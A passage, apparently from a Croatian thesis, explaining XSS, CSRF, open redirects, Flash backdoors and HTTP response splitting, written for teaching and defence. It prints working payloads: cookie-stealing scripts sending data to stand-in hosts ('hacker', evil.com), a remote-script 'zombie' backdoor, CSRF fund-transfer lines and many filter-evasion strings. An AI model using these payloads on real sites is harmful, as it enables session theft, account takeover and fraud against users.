Za sprečavanje Xpath Injection napada potrebno je isto kao i kod ostalih napada validirati

ulaze podatke. Najčešće se to radi filtracijom po nekoj „bijeloj listi“ dozvoljenih znakova,

koja bi u idealnom slučaju trebala dopuštati samo alfanumeričke znakove. Najkritičniji su

sljedeći znakovi:

( ) = ‘ [ ] : , * / i razmaci.

Svaki unos koji ne odgovara „bijeloj listi“ potrebno je odbaciti, a ne sanirati!

67

7 CROSS-SITE SCRIPTING

54Cross site scripting, u daljnjem tekstu XSS, je tehnika napada koja „prisiljava“ web stranice na

prikaz malicioznog koda, koji se tada izvršava u korisnikovom web pregledniku. Napadač koristi web

stranicu samo kao kanal za obavljanje napada. Kod XSS-a meta napada je korisnik a ne poslužitelj.

Jednom kada napadač stekne kontrolu nad korisnikovim web preglednikom u mogućnosti je obavljati

različite akcije kao što su krađa računa i profila, bilježenje unosa koji se unosi preko tipkovnice,

intranet hakiranje itd.

Postoji nekoliko scenarija kako se maliciozni javascript može naći na web stranici:

Vlasnik stranice ga je namjerno stavio.

Web stranica je promijenjena koristeći ranjivosti na mreži ili operacijskom sustavu putem

javascript malware-a.

XSS ranjivost koja je iskorištena, i javascript kod je ubačen unutar stranice.

Žrtva je kliknula na specijalno konstruiran DOM-based XSS link.

Primjer:

<html><body>

<h1>XSS Primjer</h1>

<script src=“http://localhost/javascript_malware.js“ />

</body></html>

Web stranica sadržava ugrađeni JavaScript malware. Korisnik koji posjeti ovu stranicu

automatski će pokrenuti malicioznu skriptu koja se nalazi na lokaciji:

http://localhost/javascript_malware.js i izvršava se u kontekstu stranice koju je korisnik

posjetio. Ovaj primjer se odnosi na metode iz 1. i 2. točke, dok je za metode iz 3. i 4. Točke

potrebna web stranica koja sadrži XSS ranjivost.

7.1 Non-persistent ili Reflected XSS

55Ovaj tip XSS ranjivosti je zastupljen u približno 75% slučajeva u odnosu na ostale tipove

XSS ranjivosti. Kod ovog tipa XSS-a kod se „reflektira“ od strane web poslužitelju u obliku

poruka o greškama, rezultatima pretraživanja ili bilo kojem drugom obliku odgovora koji

uključuje neke ili sve unesene podatke poslane prema poslužitelju kao dio zahtjeva.

Drugim riječima, kod ovog tipa XSS-a izrađuje se zahtjev ubacivanjem JavaScript koda i

reflektira se odnosno izvrši svakome korisniku koji podnese taj zahtjev.

54

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.84 55

Izvor: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

http://localhost/javascript_malware.js

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

68

Primjer:

Ako napadač u neko polje ili formu za pretraživanje unutar neke web stranice upiše:

"><SCRIPT>alert('XSS%20Testiranje')</SCRIPT>

I dobije poruku XSS Testiranje, tada može napisati drugačiju i složeniju skriptu.

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cooki

e;

</SCRIPT>

Prvi dio koda stvori DOM objekt.

var img=new Image();

Pošto se javascript izvršava unutar stranice korisnika ima pristup cookie podacima

(document.cookie;). Image objekt je povezan na http://hacker/ vanjski URL na kojeg je

nadodan cookie niz.

Formira se sljedeći zahtjev:

GET http://hacker/path/_web_browser_cookie_data HTTP/1.1

Host: host

User-Agent: Firefox/1.5.0.1

Content-length: 0

Na taj način korisnikov cookie može biti otet i poslan kao GET parametar.

7.2 DOM-based 56

DOM-based je oblik XSS napada koji se koristi vrlo slično kao i non-persistent samo što se

javascript malware ne mora poslati ili prikazati od strane web stranice.

Na sljedećoj slici su prikazane knjige i njihove cijene na temelju url upita koji je poslan prema

bazi u pozadini:

56

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.89

http://hacker/

69

57Slika 3: Prikazuje cijene knjiga. Napadač može ubacivati tekst i stimulirati kupce.

Napadač može mijenjati naslov i vrijednost URL-a tako da sadrže drugačiji tekst jer se

Javascript automatski upisuje.

Primjer:

http://victim/promo?product_id=100&title=Posljednja+Prilika!

http://victim/promo?product_id=100&title=Samo+10+komada+ostalo!

<script>

var url = window.location.href;

var pos = url.indexOf("title=") + 6;

var len = url.length;

var title_niz = url.substring(pos,len);

document.write(unescape(title_niz));

</script>

Ovdje se nalazi problem. JavaScript na strani klijenta slijepo vjeruje podacima koji su

sadržani unutar URL-a i prikazuje ih na ekranu. Može se napisati i sljedeće:

http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS%20Testing')

</SCRIPT>

Ono što ovaj napad čini drugačijim od prošlog je da se JavaScript malware ne šalje

poslužitelju. Fragmenti dio URL-a ili # znak pokazuje web pregledniku na koji dio

dokumenta da se premjesti. Fragmentni podaci se ne šalju poslužitelju nego ostaju unutar

DOM-a.

Uzrok DOM-based XSS-a je iskorištavanje ranjivosti unutar validacije ulaznih podataka na

strani klijenta, ne na strani poslužitelja.

DOM-based XSS se kao i ostali oblici XSS-a iskoristiti za krađu povjerljivih podataka, ili

otimanje korisničkih računa.

57


http://victim/promo?product_id=100&title=Samo+10+komada+ostalo

70

58Primjer DOM-base XSS-a:

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf(“name=”)+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

<BR>

Welcome to our system

…

</HTML>

Iz koda se može vidjeti da nije napravljeno saniranje vrijednosti „name“ GET parametra koji

se odmah nakon što je dohvaćen upisuje u dokument.

Primjer DOM-base XSS koristeći AJAX:

<p>Unesi, ime i pritisni chat!

<strong>chat</strong>!</p>

<input name="name" type="text" size="50"/><br/><input

name="chat" value="Chat" type="button"/>

</div>

</div>

<script>

$('[@name="chat"]').click(function () {

var name = $('[@name="name"]').val();

$('#content > div').fadeOut(null, function () {

$(this).html('<p>Welcome ' + name + '! You can

type your message into the form below.</p><textarea class="pane">' + name +

' >

</textarea>');

$(this).fadeIn();

});

});

</script>

Ako se bolje promotri primjer chat aplikacije, vidljivo je da je aplikacija ranjiva na XSS. Dio

koda odgovoran za ranjivost je sljedeći: $(this).html('<p>Welcome ' + name + '! You can type your message into the

form below.</p><textarea class="pane">' + name + ' > </textarea>');

Vidljivo je da unos podataka za ime nije saniran i može se napisati bilo što.

Npr. ako se za ime napiše <script>alert('xss')</script> tada će funkcija koja gradi niz

izgledati ovako: <p>Welcome <script>alert('xss')</script>! You can type your message into the form below.</p><textarea class="pane"><script>alert('xss')</script> > </textarea>

Ako se primjer koda prepravi na sljedeći način: <script>

var matches = new

niz(document.location).match(/[?&]name=([^&]*)/);

var name = 'guest';

58


71

if (matches)

name = unescape(matches[1].replace(/\+/g, ' '));

$('#content ').html('<p>Welcome ' + name + '! You can type

your message into the form below.</p><textarea class="pane">' + name + ' >

</textarea>');

</script> tada je moguće slati parametar ime putem URL na sljedeći način:

localhost/diplomski/xss/test.html?name=Bob međutim pošto se parametar ime ne

sanira ponovno je moguće je u URL parametar upisati maliciozni kod. To je onda non-

persistnet DOM-based XSS.

Ako aplikaciju prepravimo na sljedeći način:

<script>

var matches = new

niz(document.location).match(/[?&]name=([^&]*)/);

if (matches) {

var name = unescape(matches[1].replace(/\+/g, ' '));

document.cookie = 'name=' + escape(name) +

';expires=Mon, 01-Jan-2010 00:00:00 GMT';

} else {

var matches = new

niz(document.cookie).match(/&?name=([^&]*)/);

if (matches)

var name = unescape(matches[1].replace(/\+/g, '

'));

else

var name = 'guest';

}

$('#content ').html('<p>Welcome ' + name + '! You can type

your message into the form below.</p><textarea class="pane">' + name + ' >

</textarea>');

</script>

Primjer aplikacije je isti kao u prethodnom primjeru samo što se ime sprema u cookie unutar

preglednika jer unos također nije saniran. Ova vrsta ranjivosti se naziva persistent DOM-

based XSS, i puno je opasnija od prethodnih. Napadač može napisati i spremiti javascript kod

unutar cookie-a. Valja napomenuti da se ova vrsta napada/ranjivosti može spremati i u druge

tipove pohrane, kao što je FLASH cookie, lokalno, pa čak i unutar URL-a.

7.3 Persistent ili stored XSS 59

Persistent XSS napadi se najčešće izvode na web stranice sa društvenim sadržajem ili web

mail stranice odnosno svim stranicama na kojima postoji društvena interakcija, i ne

zahtijevaju posebno napravljene linkove za izvršavanje.

Napadač ubacuje XSS kod unutar područja web stranice koji su često posjećeni od strane

ostalih korisnika. Ta područja su blog komentari, osvrti, oglasne ploče, ploče sa porukama,

chat sobe, HTML e-mail, wiki-i i još mnogobrojne ostale lokacije. Kada korisnik posjeti

59


72

jedno tako mjesto maliciozni kod se automatski izvrši. Zbog toga je persistnet XSS puno

opasniji nego ostali navedeni oblici napada.

Str 103

7.4 Ostali ranjivosti temeljene na XSS-u

7.4.1 Preusmjeravanje 60

Postoje tri načina preusmjeravanja:

Preusmjeravanje Zaglavlja – uglavnom se koristi HTTP protokol

Meta Preusmjeravanje – Koristi HTML tagove (<META HTTPEQUIV=”Refresh”

CONTENT=”5; URL=http://redirect.com”>)). Vrlo slično kao i zaglavlje,

u novije vrijeme se to smatra pod isto.

Dinamičko Preusmjeravanje – može biti unutar Flash filma, JavaScripta ili nekog

drugog dinamičnog sadržaja na strani klijenta. Prednost je što može biti okidan

eventima odnosno događajima.

Preusmjeravanje može izgledati kao običan URL unutar nekog drugog URL-a:

www.stranica.com/redir.php?url=http://www.badguy.com/

može biti kodirano:

www.stranica.com/redir.php?url=http%3A%2F%2Fwww.badguy.com/

Primjer preusmjeravanja sa google stranice na neku phishing stranicu:

http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5QfXBJGSiQLU0eDSAueHkArnh

tWZAu-

FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8BoAGyqor_A8gBAZUCC

apCCqkCxU7NLQH0sz4&num=5&adurl=http://211.240.79.30:2006/www.p

aypal.com/webscrr/index.php

www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5QfXBJGSiQLU0eDSAueHkArnhtWZAu-

FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8BoAGyqor_A8gBAZUCC

apCCqkCxU7NLQH0sz4&num=5&adurl=http://212.12.177.170:9999/www.

paypal.com/thirdparty/webscrr/index.php

Zbog toga je google prestao s automatskim URL preusmjeravanjem.

www.google.com/url?q=%68%74%74%70%3A%2F%2F%69%6E%65%7

1%73%76%2E%73%63%68%65%6D%65%67%72%65%61%74%2E%6

3%6F%6D%2F%3F%6B%71%77%76%7A%6A%77%7A%66%63%65%

75

Primjer preusmjeravanja kod Yahoo-a:

http://rds.yahoo.com/_ylt=A0LaSV66fNtDg.kAUoJXNyoA;_ylu=X3oDMTE2

60


http://www.stranica.com/redir.php?url=http://www.badguy.com/

http://www.stranica.com/redir.php?url=http%3A%2F%2Fwww.badguy.com/

73

ZHVuZ3E3BGNvbG8DdwRsA1dTMQRwb3MDMwRzZWMDc3IEdnRpZANG

NjU1Xzc1/SIG=148vsd1jp/EXP=1138544186/**http%3a//65.102.124.244/us

age/.us/link.php

Napadači zamaskiraju URL:

http://rds.yahoo.com/_ylt=A0LaSV66fNtDg.kAUoJXNyoA;_ylu=X3oDMTE2

ZHVuZE3BGNvbG8DdwRsA1dTMQRwb3MDMwRzZWMDc3IEdnRpZANGN

jU1Xzc1/SIG=148vsd1jp/EXP=1138544186/**http%3a//1115019674/www.p

aypal.com/us/webscr.php?cmd=_login-run

Izgled URL - u različitom tipu kodiranja

http://127.0.0.1/ Decimal

http://2130706433/ Dword

http://0x7f.0x00.0x00.0x01/ Hex

http://0177.0000.0000.0001/ Octal

http://127.0x00.0000.0x01/ Mixed

7.4.2 CSRF 61

CSRF ili se ponekad naziva i XSRF je jednostavan napad koji ima velik utjecaj na sigurnost

web aplikacije.

Primjer:

<iframe src=https://somebank.com></iframe>

Ovo naizgled izgleda bezazleno ali kada preglednik naiđe na ovaj kod, a pretpostavimo da je

korisnik prijavljen u sustav neke banke somebank.com; neće samo prikazati banking stranicu

nego će poslati i korisnikov cookie.

Sljedeći primjer simulira kako bi mogao izgledati CSRF napad.

<iframe src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=

123456></iframe>

Korisnika se stavlja u položaj da izvrši akciju koju napadač želi. U ovom slučaju je to

prebacivanje novaca na drugi račun.

IFRAME-ovi nisu jedini način na koji se CRSF napadi mogu izvršavati:

<img src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456>

<link rel="stylesheet"

href="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456”

type="text/css">

<bgsound

SRC="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456">

U ova tri primjera, tip podatka koji preglednik očekuje je nevažan za napad. Na primjer

rezultat zahtjeva za slikom može biti u .jpg ili .gif datoteci, a ne HTML koji će primiti od

61

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str. 108

http://127.0.0.1/

http://127.0.0.1/

http://127.0.0.1/

http://127.0.0.1/

http://127.0.0.1/

74

strane poslužitelja. Dok preglednik shvati da se nešto čudno događa, napad je već gotov jer je

poslužitelj već prihvatio naredbu za prijenos novaca.

7.4.2.1 Obrana od CRSF:

Da bi se CRSF spriječio, web stranice uključuju tokene koji su ugrađeni u formu ili URL.

Token je jednokratna vrijednost koja je stvorena kada korisnik posjeti stranicu. Kada kliknu

na link ili podnesu formu, token je uključen unutar tog zahtjeva i verificiran od strane servera.

Ako je token validan, zahtjev se prihvaća. Jednokratni tokeni štite na taj način da samo

korisnik koji je iskoristio token vidi sadržaj stranice. Međutim kada se CRSF koristi u

kombinaciji sa XSS-om, tada niti ova obrana ne pomaže.

Primjer:

<img src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456>

Objekt u primjernu nije slika i server bi ga odbacio. Neki sustavi validiraju samo ekstenziju

kako bi se osigurali da se radi o slici.

Pravilna sintaksa bi bila:

<img src=http://ha.ckers.org/a.jpg>

Čak i nakon što server provjeri da je postojala slika, ne znači da će još uvijek biti tamo nakon

što ju robot validira. Napadač može staviti preusmjeravanje nakon što robot validira sliku:

Redirect 302 /a.jpg

https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456

Kada preglednik vidi preusmjeravanje, ići će do zadane URL adrese dok će cookie-i ostati

netaknuti i nepromijenjeni. Što je još gore,

URL(http://somebank.com/board.asp?id=692381) unutar Referer zaglavlja se neće

promijeniti prema URL-u

presumjeravanju(https://somebank.com/transferfunds.asp?amnt=1000000&acct=1234

56).

Sa CSRF napadima se može koristiti i PHP.

<IMG SRC=http://victim.com/blog/index.php?l=http://someserver.com/solo/kgb.c?>




75

7.4.3 FLASH 62

Flash datoteke mogu sadržavati Javascript koji se izvršava u kontekstu stranice. Napadači

mogu lagano modificirati flash datoteke da sadrže svoj vlastiti Javascript maliciozni kod.

QuickTime je također pružao značajku koja može biti korištena od strane napadača za

ubacivanje JavaScripta.

class Dummy {

function Dummy() {

}

static function main(mc) {

getURL("javascript:alert('Flash Rocks My World!')");

}

}

Ovako se ugrađuje unutar stranice:

<html>

<body>

<object type="application/x-shockwave-flash"

data="dummy.swf"></object>

</body>

</html>

Napadači mogu iskoristiti ovaj koncept i ugraditi maliciozni JavaScript unutar Flash filmića.

Sljedeći primjer backdoor-a:

class Backdoor {

function Backdoor() {

}


getURL("javascript:function%20framejack%28url%29%20%7B%0A%09var%20ifr%20%3D%20docum

ent.createElement%28%27iframe%27%29%3B%0A%09ifr.src%3D%20url%3B%0A%0A%09document.bo

dy.scroll%20%3D%20%27no%27%3B%0A%09document.body.appendChild%28ifr%29%3B%0A%09ifr.s

tyle.position%20%3D%20%27absolute%27%3B%0A%09ifr.style.width%20%3D%20ifr.style.heig

ht%20%3D%20%27100%25%27%3B%0A%09ifr.style.top%20%3D%20ifr.style.left%20%3D%20ifr.st

yle.border%20%3D%200%3B%0A%7D%0A%0Aframejack%28document.location%29%3B%0Avoid%280%2

9%3B");

}

}

URL kodiran niz koji je ugrađen unutar getURL funkcije je zapravo jednostavna tehnika

otimanja/krađe okvira(frame hijack):

function framejack(url) {

var ifr = document.createElement('iframe');

ifr.src= url;

document.body.scroll = 'no';

document.body.appendChild(ifr);

ifr.style.position = 'absolute';

ifr.style.width = ifr.style.height = '100%';

ifr.style.top = ifr.style.left = ifr.style.border = 0;

}

framejack(document.location);

void(0);

Iz koda se vidi da se otima document.location koji sadrži puni URL do trenutnog resursa.

Pomoću sljedećeg koda se može ugraditi zombie kontrola preko kanala unutar trenutnog web

preglednika:

function zombie(url, interval) {

62


76

var interval = (interval == null)?2000:interval;

setInterval(function () {

var script = document.createElement('script');

script.defer = true;

script.type = 'text/javascript';

script.src = url;

script.onload = function () {

document.body.removeChild(script);

};

document.body.appendChild(script);

}, interval);

}

zombie('http://www.gnucitizen.org/channel/channel', 2000);

void(0);

Ista logika se može implmentirati unutar jednostavne SWF datoteke kao npr:

class Backdoor {

function Backdoor() {

}


getURL("javascript:function%20zombie%28url%2C%20interval%29%20%7B%0A%09var%20interv

al%20%3D%20%28interval%20%3D%3D%20null%29%3F2000%3Ainterval%3B%0A%0A%09setInterval%

28function%20%28%29%20%7B%0A%09%09var%20script%20%3D%20document.createElement%28%27

script%27%29%3B%0A%09%09script.defer%20%3D%20true%3B%0A%09%09script.type%20%3D%20%2

7text/javascript%27%3B%0A%09%09script.src%20%3D%20url%3B%0A%09%09script.onload%20%3

D%20function%20%28%29%20%7B%0A%09%09%09document.body.removeChild%28script%29%3B%0A%

09%09%7D%3B%0A%09%09document.body.appendChild%28script%29%3B%0A%09%7D%2C%20interval

%29%3B%0A%7D%0A%0Azombie%28%27http%3A//www.gnucitizen.org/channel/channel%27%2C%202

000%29%3B%0Avoid%280%29%3B");

}

}

Ove tehnike su korisne u nekoliko situacija. Npr. ako webstranica dobro validira i sanira unos

podataka, ali omogućuje/dopušta vanjske Flash objekte da se prikazuju, napadač vrlo lako

može izvršiti XSS napad. Najviše su mete napada stranice koje obiluju flash reklamama.

7.5 HTTP Response Injection 63

Skripte na strani poslužitelja koje koriste podatke dobivene od korisnika kao dio zaglavlja

odgovora bez saniranja CRLF slijeda/niza su ranjive na ovaj tip napada.

HTTP Response Injection mogu napadači koristiti za modificiranje svakog zaglavlja u

odgovoru uključujući i cookie, i također može biti korišten za izvođenje XSS-a.

Kod HTTP Response Injection napada, napadača ima mogućnost ubaciti Carriage Return

(ASCII 0x0D) Line Feed (ASCII 0x0A) ili CRLF slijed/niz unutar zaglavlja odgovora.

CRLF sekvenca, prema RFC 2616 standardu je delimiter koji odvaja zaglavlja jedna od drugih.

Ako napadač uspije ubaciti te znakove, u mogućnosti je izvršiti XSS napad.

Najčešće mjesto gdje se takve ranjivosti pojavljuju je kada postoji slučaj kada skripta za

preusmjeravanje koja uzima URL kao ulaz i generira adekvatno zaglavlje za prijenos prema

korisniku ili specificiranom resursu.

63


77

Primjer:

<?php

if (isset($_GET['redirect'])) {

header('Location: ' . $_GET['redirect']);

www.syngress.com }

?>

Skripta se može pozvati na sljedeći način

redirector.php?redirect=http%3A//www.google.com. Poslužitelj u Location zaglavlju

vrati Location: http://www.google.com.

Pošto redirect polje nije sanirano, napadač može lagano podijeliti zahtjev na sljedeći način:

redirector.php?redirect=%0d%0a%0d%0a<script>alert(String.fromCharCode(88,83,83))

</script>

Fokus je ovdje na hex niz znakova na početku redirect strina. %0d(npr.0x0d) je CF i %0a(npr.

0x0a) je LF. Zbog ta dva niza dobiju se još dvije dodatne linije unutar zaglavlja. U nastavku

šifriran je XSS niz kao hex znakovi i korištena je String.fromCharCode funkcija za

pretvaranje hex vrijdnosti u ASCII. To će zaobići bilo kakvo filtriranje navodnika na

poslužiteljskoj strani. Zaglavlje Location u odgovoru poslužitelja bi izgledalo na sljedeći

način:

Location:

<script>alert(String.fromCharCode(88,83,83))</script>

Transfer-Encoding: chunked

Na sličan način mogu se ubacivati ili nadomještavati cookie-i stranice:

redirector.php?redirect=%0d%0aSet-

Cookie%3A%20PHPSESSIONID%3D7e203ec5fb375dde9ad260f87ac57476%3B%20path%3D/

Zaglavlje Location u odgovoru poslužitelja izgleda na sljedeći način: Location:

Set-Cookie: PHPSESSIONID=7e203ec5fb375dde9ad260f87ac57476; path=/

Zaobilaženje XSS ograničenja dužine 64

U nekim situacijama XSS rupe su tako male da je nemoguće ugurati dovoljnu količinu

informacije kako bi se izveo napad.

Postoji nekoliko tehnika pomoću kojih se može u polje ubaciti više znakova nego što je to

dozvoljeno odnosno ograničeno.

Na primjer ako već postoji ranjivost tipa: http://www.tst.com/path/to/search.asp?query="><script>alert('xss')</script>

64


http://www.tst.com/path/to/search.asp?query=%22%3e%3cscript%3ealert('xss')%3c/script

78

To ne znači automatski da se može napisati cijela javascript skripta. Vrlo je vjerojatno da

postoji provjera u web aplikaciji koja ograničava duljinu niza znakova. Ako je na primjer

dozvoljena dužina URL upita 60 znakova tada je nemoguće izgraditi željenu napadačku

skriptu, već je moguće izvršiti ubacivanje skripte sa neke druge lokacije na primjer:

http://www.tst.com/path/to/search.asp?query="><script src="http://evil.com/s.js"/>

Takav način ozbiljnim napadačima nije prihvatljiv, jer ne daje toliki stupanj anonimnosti i

skrivenosti, i moraju se oslanjati na neki vanjski poslužitelj.

Postoji drugi prihvatljiviji način: http://www.acme.com/path/to/search.asp?query="><script>eval(location.hash.subst

r(1))</script>#alert('xss')

Vrijednost dužine niza gore navedenog upita je 48 znakova.

<script>eval(location.hash.substr(1))</script>

Dio koda poziva javascript eval funkciju na hash parametar. Hash se još i naziva fragmentni

identifikator(mehanizam koji se koristi za referenciranje veza prema sidrištima(anchors)

unutar web stranica. Anchor je tag kojemu je hash Šid atribut), je podatak koji slijedi znak #

koji je u našem slučaju alert('xss'). Koristeći ovu tehniku moguće je staviti onoliko podataka

koliko se želi, dok će aplikacija misliti da se radi samo o njih 48 koji su ubačeni.

Primjer jednog napada:

http://www.acme.com/path/to/search.asp?query="><script>eval(location.hash.substr(1)

)</script>#function include(url,onload){var

script=document.createElement('script');script.type='text/javascript';script.onload

=onload;script.src=url;document.body.appendChild(script)};include('http://www.gnuci

tizen.org/projects/attackapi/AttackAPI-standalone.js',function(){var

data={agent:$A.getAgent(),platform:$A.getPlatform(),cookies:$A.buildQuery($A.getCoo

kies()),plugins:$A.getPlugins().join(','),ip:$A.getInternalIP(),hostname:$A.getInte

rnalHostname(),extensions:[],states:[],history:[]};var

completed=0;$A.scanExtensions({onfound:function(signature){data.extensions.push(sig

nature.name)},oncomplete:function(){completed+=1}});$A.scanStates({onfound:function

(signature){data.states.push(signature.name)},oncomplete:function(){completed+=1}})

;$A.scanHistory({onfound:function(url){data.history.push(url)},oncomplete:function(

){completed+=1}});var

tmr=window.setInterval(function(){if(completed<3)return;data.extensions=data.extensi

ons.join(',');data.states=data.states.join(',');data.history=data.history.join(','

);$A.transport({url:'http://evil.com/collect',query:data});window.clearInterval(tmr

)},1000)}

Također za svrhu skraćivanja unosa ,mogu se koristiti JavaScript API-i. Primjer ako se

ubacuje u postojeću skriptu, sljedeća naredba prenosi korisničke cookie-e prema poslužitelju

„a“:

open(“//a/“+document.cookie)

79

Alternativno, ako se ubacuje direktno u HTML, sljedeća naredba izvršava skriptu sa

poslužitelja koji se zove „a“:

<script src=http://a></script>

Sljedeći način zaobilaženja filtra ograničenja bi bio raspoređivanje napadačkog niza na

nekoliko različitih lokacija gdje se korisnički unos kao odgovor ubacuje u istu povratnu

stranicu.

Uzme li se u obzir sljedeći primjer:

https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal

Povratna stranica izgleda ovako:

<input type=”hidden” name=”page_Šid” value=”244”>

<input type=”hidden” name=”seed” value=”129402931”>

<input type=”hidden” name=”mode” value=”normal”>

Da svako polje ima ograničenje dužine unosa može se pomoću sljedećeg URL-a skripta

napisati preko tri lokacije:

https://myapp.com/account.php?page_id=”><script>/*&seed=*/alert(document

.cookie);/*&mode=*/</script>

Kada se parametri iz URL-a upišu u stranicu, rezultat izgleda ovako:

<input type=”hidden” name=”page_id” value=””><script>/*”>

<input type=”hidden” name=”seed” value=”*/alert(document.cookie);/*”>

<input type=”hidden” name=”mode” value=”*/</script>”>

Zaobilaženje XSS filtra 65

Ako web aplikacija ima funkciju koja dodaje „\“ ispred jednostrukih ili dvostrukih

navodnika (npr. add_slashes()) tada bi napadački niz nakon što se izvršila funkcija izgledao

ovako:

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

Da bi se zaobišao ovakav filtar potrebno je prestati koristiti jednostruke i dvostruke

navodnike. Tu npr. može pomoći funkcija iz javascripta String.from.CharCode(), jer umjesto

pisanja nekog znaka ili slova, piše se njegova decimanlna ASCII vrijednost.

Primjer kako izgleda ASCII tablica znakova u hexadecimalnom i decimalnom brojevnom

sustavu:

Decimalni:

0 nul 1 soh 2 stx 3 etx 4 eot 5 enq 6 ack 7 bel

65


https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal

80

8 bs 9 ht 10 nl 11 vt 12 np 13 cr 14 so 15 si

16 dle 17 dc1 18 dc2 19 dc3 20 dc4 21 nak 22 syn 23 etb

24 can 25 em 26 sub 27 esc 28 fs 29 gs 30 rs 31 us

32 sp 33 ! 34 " 35 # 36 $ 37 % 38 & 39 '

40 ( 41 ) 42 * 43 + 44 , 45 - 46 . 47 /

48 0 49 1 50 2 51 3 52 4 53 5 54 6 55 7

56 8 57 9 58 : 59 ; 60 < 61 = 62 > 63 ?

64 @ 65 A 66 B 67 C 68 D 69 E 70 F 71 G

72 H 73 I 74 J 75 K 76 L 77 M 78 N 79 O

80 P 81 Q 82 R 83 S 84 T 85 U 86 V 87 W

88 X 89 Y 90 Z 91 [ 92 \ 93 ] 94 ^ 95 _

96 ` 97 a 98 b 99 c 100 d 101 e 102 f 103 g

104 h 105 i 106 j 107 k 108 l 109 m 110 n 111 o

112 p 113 q 114 r 115 s 116 t 117 u 118 v 119 w

120 x 121 y 122 z 123 { 124 | 125 } 126 ~ 127 del

Heksadecimalni:

00 nul 01 soh 02 stx 03 etx 04 eot 05 enq 06 ack 07 bel

08 bs 09 ht 0a nl 0b vt 0c np 0d cr 0e so 0f si

10 dle 11 dc1 12 dc2 13 dc3 14 dc4 15 nak 16 syn 17 etb

18 can 19 em 1a sub 1b esc 1c fs 1d gs 1e rs 1f us

20 sp 21 ! 22 " 23 # 24 $ 25 % 26 & 27 '

28 ( 29 ) 2a * 2b + 2c , 2d - 2e . 2f /

30 0 31 1 32 2 33 3 34 4 35 5 36 6 37 7

38 8 39 9 3a : 3b ; 3c < 3d = 3e > 3f ?

40 @ 41 A 42 B 43 C 44 D 45 E 46 F 47 G

48 H 49 I 4a J 4b K 4c L 4d M 4e N 4f O

50 P 51 Q 52 R 53 S 54 T 55 U 56 V 57 W

58 X 59 Y 5a Z 5b [ 5c \ 5d ] 5e ^ 5f _

60 ` 61 a 62 b 63 c 64 d 65 e 66 f 67 g

68 h 69 i 6a j 6b k 6c l 6d m 6e n 6f o

70 p 71 q 72 r 73 s 74 t 75 u 76 v 77 w

78 x 79 y 7a z 7b { 7c | 7d } 7e ~ 7f del

Sada je jednostavno zaobići filtar jednstavnim napadačkim nizom:

<INPUT type="text"

value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>

Jedna moguća ranjivost pri kojoj je moguće ubacivanje kada programer ne koristi sanirane

ulazne podatke kao dio generiranog HTML-a unutar script elementa. Pošto je tada vidljivo da

postoji pristup unutrašnjosti javascript funkcije, nije poterbno pisati html tagove već samo

javascript.

81

Ima mnogo kombinacija koje se kod ovakvih napada mogu izvesti. Neke od njih su uspješne u

zaobilaženju filtra neke nisu, neke rade kod jedne web aplikacije a ne rade kod druge i

obrnuto. Npr. može postojati slučaj gdje je potrebno ubaciti </script> kako bi se zatvorio tag, i

potom ponovno otvorio ali ovoga puta sa kodom kojeg želimo.

Kod web aplikacija koje imaju filtraciju HTML elemenata velik broj njih nije dozvoljen. Na

primjer kod nekih nisu dozvoljene riječi kao što su <script>. To znači da automatski odpadaju

pokušaji kao što su <script>alert(„XSS“)</script> ili <script>SRC

=“http://ha.ckers.org/xss.js“</script> ili <IMG

SRC=javascript:alert('XSS')>. Na prvi pogled se čini nemoguće ubaciti javascript

unutar web stranice, međutim postoje i drugi načini ubacivanja npr.:

<BODY onload="alert('XSS')"> - ne radi za sve HTML elemente.

<IMG SRC=““ onerror=“alert('XSS')“>

<[%00]img onerror=alert(1) src=a>

<i[%00]mg onerror=alert(1) src=a>

<img/onerror=alert(1) src=a>

<img[%09]onerror=alert(1) src=a>

<img[%0d]onerror=alert(1) src=a>

<img[%0a]onerror=alert(1) src=a>

<img/”onerror=alert(1) src=a>

<img/’onerror=alert(1) src=a>

<img/bilosto/onerror=alert(1) src=a>

<img o[%00]nerror=alert(1) src=a>

<img onerror=”alert(1)”src=a>

<img onerror=’alert(1)’src=a>

<img onerror=àlert(1)`src=a>

<img src=àònerror=alert(1)> <img/onerror=”alert(1)”src=a>

<img onerror=a[%00]lert(1) src=a>

<img onerror=alert(1) src=a>

<iframe src=javasc&#x72ipt:alert(1) > <img onerror=alert(1) src=a>





<img onerror=a&#108ert(1) src=a>

<img onerror=a&#0108ert(1) src=a> %253cimg%20onerror=alert(1)%20src=a%253e

Još neki primjeri mogućih napadačkih nizova:

<<script>alert(1);//<</script>

<script<{alert(1)}/></script> <script>a\u006cert(1);</script>

<script>eval(‘a\u006cert(1)’);</script>

<script>eval(‘a\x6cert(1)’);</script>

<script>eval(‘a\154ert(1)’);</script>

<script>eval(‘a\l\ert$1$’);</script>

<script>eval(‘al’+’ert(1)’);</script>

<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>

82

<script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script>

<script>’alert(1)’.replace(/.+/,eval)</script>

<script>function::[‘alert’](1)</script>

<script>alert(document[‘cookie’])</script>

<script>with(document)alert(cookie)</script>

